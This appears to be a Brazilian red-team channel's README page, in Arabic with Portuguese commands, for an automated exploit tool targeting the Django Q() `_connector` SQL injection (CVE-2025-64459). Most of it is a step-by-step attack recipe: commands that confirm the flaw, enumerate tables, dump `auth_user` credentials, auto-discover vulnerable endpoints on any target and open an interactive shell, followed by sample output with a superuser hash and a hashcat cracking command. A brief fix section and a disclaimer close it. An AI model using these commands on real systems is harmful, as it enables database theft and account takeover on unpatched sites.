
NEO-SQLi — استغلال حقن SQL في Django _connector (CVE-2025-64459) | canal RedTeam Brasil
استغلال آلي لحقن SQL في ORM الخاص بـ Django
Q-object _connector · CVE-2025-64459
🎥 قناة RedTeam Brasil — الأمن الهجومي، عمليًا، بالبرتغالية.
██████╗ ████████╗██████╗ connector-sqli
██╔══██╗╚══██╔══╝██╔══██╗ Django Q() `_connector` SQLi
██████╔╝ ██║ ██████╔╝ CVE-2025-64459
██╔══██╗ ██║ ██╔══██╗ canal RedTeam Brasil
██║ ██║ ██║ ██████╔╝ youtube.com/@RedTeamBrasil
╚═╝ ╚═╝ ╚═╝ ╚═════╝ uso autorizado apenas
يقوم ORM في Django ببناء الفلاتر باستخدام كائنات Q(). المُنشئ
Q(*args, _connector=None, _negated=False, **kwargs) يقبل الـ kwarg الخاص
_connector — السلسلة (AND/OR) التي تربط الشروط داخل WHERE.
في الإصدارات المتأثرة لم تكن هذه القيمة تُعقَّم وكانت تصل خامًا إلى استعلام SQL.
عندما يمرر التطبيق مدخلات المستخدم مباشرةً إلى Q() / .filter() /
.exclude() / .get() عبر توسيع القاموس — النمط المضاد الكلاسيكي:
# ❌ VULNERÁVEL
posts = Post.objects.filter(Q(**request.GET)) # ou .filter(**request.GET)
…عندها يتحكم المهاجم في _connector ويحقن SQL عشوائيًا بين الشروط
(ينطبق على SQLite وPostgreSQL وMySQL وغيرها).
مع تفعيل
DEBUG = Trueيصبح الاستغلال يسيرًا للغاية: صفحة الخطأ في Django تُرجع استعلام SQL المركّب والجدول الأساسي وعدد الأعمدة — وهو بالضبط ما تستخدمه الأداة لبناء UNION بمفردها.
مستكشف عام (غير مقيّد بهدف معيّن) وآلي:
--auto): زحف على الصفحة الرئيسية + robots/sitemap + قائمة كلمات مدمجة، مع اختبار كل مسار عبر FieldError الخاص بـ Django.DEBUG=True عبر FieldError.--proxy) وأهداف HTTPS.git clone https://github.com/rafaelchriss/RedTeamBrasil-CVE-2025-64459.git
cd RedTeamBrasil-CVE-2025-64459
pip install -r requirements.txt
chmod +x rtb_connector_sqli.py
# 1) confirmar a falha
python3 rtb_connector_sqli.py -u http://ALVO check
# 2) listar tabelas
python3 rtb_connector_sqli.py -u http://ALVO tables
# 3) listar colunas de uma tabela
python3 rtb_connector_sqli.py -u http://ALVO columns auth_user
# 4) dumpar (colunas específicas ou todas)
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --cols username,password,is_superuser
python3 rtb_connector_sqli.py -u http://ALVO dump auth_user --where "is_superuser=1"
# 5) atalho pros usuários do Django
python3 rtb_connector_sqli.py -u http://ALVO users
# 6) expressão SQL livre
python3 rtb_connector_sqli.py -u http://ALVO query "sqlite_version()"
# 7) MODO INTERATIVO (menu tabela → colunas → dump)
python3 rtb_connector_sqli.py -u http://ALVO shell
# 8) NÃO SABE A ROTA? deixa ele achar sozinho
python3 rtb_connector_sqli.py -u http://ALVO auto # só descobre e lista
python3 rtb_connector_sqli.py -u http://ALVO --auto shell # descobre e já explora
باستخدام
--auto(أو الأمر الفرعيauto) يقوم بالزحف على الصفحة الرئيسية +robots.txt/sitemap.xmlويشغّل قائمة كلمات مدمجة لمسارات العرض/البحث (EN + PT-BR + APIs)، مع تحديد المسارات التي تُرجعFieldErrorالخاص بـ Django. إذا مرّرت--pathخاطئًا، فإنه ينتقل إلى وضع الاكتشاف تلقائيًا.
# tudo pelo Burp
python3 rtb_connector_sqli.py -u http://ALVO --proxy http://127.0.0.1:8080 users
# ou por variável de ambiente (sem a flag)
export HTTP_PROXY=http://127.0.0.1:8080 HTTPS_PROXY=http://127.0.0.1:8080
python3 rtb_connector_sqli.py -u http://ALVO shell
[*] Alvo: http://ALVO/list
[+] Campos do model (6): author, content, created_at, id, status, title
[+] SQLi confirmada no `_connector` (CVE-2025-64459). near "'RTB'": syntax error
[+] Tabela base: <app>_<model> · colunas no SELECT: 6
[+] Coluna refletida (leitura): posição 4
┌── auth_user (N)
│ admin | pbkdf2_sha256$600000$<salt>$<hash>= | is_superuser=1 | admin@target
└──
ومعك هاش (hash) المستخدم المتميّز (superuser) في متناول اليد:
hashcat -m 10000 hash.txt rockyou.txt # Django usa pbkdf2_sha256
request.GET مباشرةً إلى Q()/.filter(). استخدم قائمة مسموحة (allow-list):
ALLOWED = {"title__icontains", "status"}
safe = {k: v for k, v in request.GET.items() if k in ALLOWED}
Post.objects.filter(**safe)
DEBUG = False في بيئة الإنتاج (لا تُسرّب SQL/الجداول/الإعدادات).أداة تعليمية وللاستخدام في اختبارات مصرّح بها فقط (المختبرات، مسابقات CTF، برامج مكافآت الثغرات ضمن النطاق، اختبار اختراق متعاقَد عليه). استخدامها ضد أنظمة دون إذن صريح هو جريمة — أنت المسؤول الوحيد.
من إعداد RedTeam Brasil · أعجبك؟ اترك لايك واشترك في القناة.
| البند | التفاصيل |
|---|
| CVE | CVE-2025-64459 |
| المكوّن | django.db.models — Q() / QuerySet (وسيط _connector وأسماء الأعمدة المستعارة) |
| الإصدارات المتأثرة | Django < 4.2.26، < 5.1.14، < 5.2.8 |
| الإصلاح | التحديث إلى 4.2.26 / 5.1.14 / 5.2.8 (أو أحدث) |
| التأثير | قراءة عشوائية لقاعدة البيانات (UNION/blind) ← تفريغ بيانات الاعتماد وتصعيد سلسلة الهجوم |
| الخيار | الغرض |
|---|
--path /buscar | الـ endpoint المعرّض للثغرة (الافتراضي /list) |
--auto | يعثر على الـ endpoint بنفسه (زحف + قائمة كلمات) |
--wordlist rotas.txt | مسارات إضافية للاكتشاف (مسار واحد لكل سطر) |
--base app_model | يفرض الجدول الأساسي (إذا فشل الاكتشاف التلقائي) |
--proxy http://127.0.0.1:8080 | يمرر كل شيء عبر Burp / mitmproxy |